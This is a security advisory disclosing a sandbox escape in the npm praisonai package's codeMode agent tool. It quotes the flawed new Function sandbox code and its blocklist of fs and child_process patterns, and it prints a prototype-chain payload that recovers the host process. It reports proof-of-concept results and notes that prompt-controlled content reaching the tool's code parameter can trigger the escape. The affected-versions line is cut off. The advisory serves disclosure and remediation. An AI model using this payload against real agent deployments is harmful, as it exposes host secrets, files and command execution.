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Critical github · GHSA-vmmj-pfw7-fjwp

npm PraisonAI codeMode sandbox escape via Function constructor

Published Jun 18, 2026 CVSS 9.9

Summary

The published npm package praisonai exports a TypeScript built-in tool named codeMode. The package describes this tool as executing code in a sandboxed environment, marks its capability as sandbox: true, and registers it through the public tools facade.

The implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets process and require to undefined inside a plain JavaScript object, and then executes attacker-controlled code with the host process new Function constructor:

const fn = new Function('sandbox', `with (sandbox) { ${code} }`);
const result = fn(sandbox);

Because this runs in the host V8 context, code inside codeMode can use the JavaScript prototype chain to recover the real Function constructor:

({}).constructor.constructor('return process')()

From a normal CommonJS application script, the recovered process object exposes process.mainModule.require. That bypasses the explicit require('fs') and require('child_process') controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.

Technical Details

Current-head source says codeMode is a built-in package tool and explicitly advertises a sandbox boundary:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  13: description: 'Execute code that can import and use other tools in a sandboxed environment',
  24: capabilities: {
  25:   sandbox: true,
  26:   code: true,
  28: packageName: 'praisonai',
  85: description: 'Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.',

The same file implements security as a blocklist of exact source-code patterns:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  108: const blockedPatterns = [
  109:   /require\s*\(\s*['"]child_process['"]\s*\)/,
  110:   /require\s*\(\s*['"]fs['"]\s*\)/,
  111:   /import\s+.*from\s+['"]child_process['"]/,
  112:   /process\.exit/,
  113:   /eval\s*\(/,

It then tries to hide dangerous globals by shadowing names in a normal object:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  168: process: undefined,
  169: require: undefined,

Finally, it executes the untrusted code in the host process using new Function and with (sandbox):

src/praisonai-ts/src/tools/builtins/code-mode.ts
  187: const fn = new Function(
  188:   'sandbox',
  189:   `with (sandbox) { ${code} }`
  190: );
  191: const result = fn(sandbox);

This is not a sandbox. new Function does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.

The tool is reachable through the public npm SDK:

src/praisonai-ts/src/index.ts
  117: airweaveSearch, codeMode,

src/praisonai-ts/src/tools/tools.ts
  104: // Code Mode
  105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);
  167: // Code Mode
  168: codeMode: (config?: CodeModeConfig) => codeMode(config),

Why This Is Not Intended Behavior

This is not merely "the user can execute code because codeMode executes code." The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.

The implementation itself proves an intended security boundary exists:

  • CODE_MODE_METADATA.capabilities.sandbox is true;
  • the tool description says it executes in a sandboxed environment;
  • direct access to fs and child_process is explicitly blocked;
  • process and require are explicitly shadowed as undefined;
  • allowNetwork defaults to false; and
  • the config includes security-relevant controls such as blockedTools, allowedPaths, timeoutMs, and maxMemoryMb.

The PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.

PraisonAI's official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with npm install praisonai. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.

PoV

The PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose process.mainModule.require; node -e or stdin do not always reproduce that deployment shape.

Run from a local reproduction checkout:

node poc/pov_poc.js 1.7.1

Observed result:

{
  "package": "praisonai",
  "version": "1.7.1",
  "codeModeExported": true,
  "directRequireFsControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]fs['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "directChildProcessControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "escapedProcessEnv": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  },
  "escapedFilesystem": {
    "output": "fs-ok",
    "exitCode": 0,
    "success": true
  },
  "escapedCommand": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  }
}

Interpretation:

  • direct require('fs') is blocked;
  • direct require('child_process') is blocked;
  • the Function-constructor payload recovers host process;
  • the escaped process reads a host environment variable;
  • the escaped process imports fs; and
  • the escaped process imports child_process and runs a harmless printf.

The PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

An attacker who can supply code to codeMode can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.

Realistic entry points include:

  • an application that exposes codeMode as an agent tool to end users;
  • an LLM/tool-call flow where prompt-controlled content reaches the code parameter;
  • MCP or tool-registry integrations that make the built-in codeMode tool callable; or
  • any multi-tenant service that relies on codeMode to safely run user or model-generated JavaScript.

Impact after escape includes:

  • reading process environment variables, including API keys and service tokens;
  • reading files available to the Node process;
  • spawning subprocesses with child_process;
  • writing or modifying files through host filesystem APIs; and
  • terminating or resource-exhausting the host process.

Severity

Suggested severity: Critical.

Rationale:

  • AV: codeMode is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.
  • AC: a single code payload is enough.
  • PR: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.
  • UI: no additional user interaction is required once the tool is invoked.
  • S: execution crosses from the advertised sandbox security scope into the host Node.js process.
  • C: host files and environment variables are readable.
  • I: host subprocess and filesystem APIs are reachable.
  • A: escaped code can terminate processes or consume host resources.

Suggested Fix

Do not use host-process new Function plus source-code blocklists as a sandbox.

Recommended fix direction:

  1. Disable or clearly mark npm codeMode as unsafe until a real isolation boundary exists.
  2. Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.
  3. Enforce allowNetwork, allowedPaths, timeoutMs, maxMemoryMb, allowedTools, and blockedTools at that boundary instead of by scanning source strings.
  4. Do not rely on node:vm alone for untrusted code. The Node.js documentation explicitly says the vm module is not a security mechanism.
  5. Add regression tests for:
    • direct require('fs') and require('child_process') blocked controls;
    • ({}).constructor.constructor('return process')() blocked;
    • process.mainModule.require('fs') unavailable;
    • process.mainModule.require('child_process') unavailable;
    • host environment variables unavailable unless explicitly passed; and
    • tool-call IPC still works for allowed tools.

If maintainers need an emergency mitigation before a real sandbox exists, reject codeMode execution unless the caller opts into "unsafe host JS execution" with clear documentation that it can access the full Node process.

Affected Package/Versions

  • Repository: MervinPraison/PraisonAI
  • Ecosystem: npm
  • Package: praisonai
  • Component: src/praisonai-ts/src/tools/builtins/code-mode.ts
  • Current npm version checked: 1.7.1
  • Refreshed origin/main checked: 1ad58ca02975ff1398efeda694ea2ab78f20cf3e

Confirmed affected range:

>= 1.4.0, = 1.4.0,

Affected AI Products

llm
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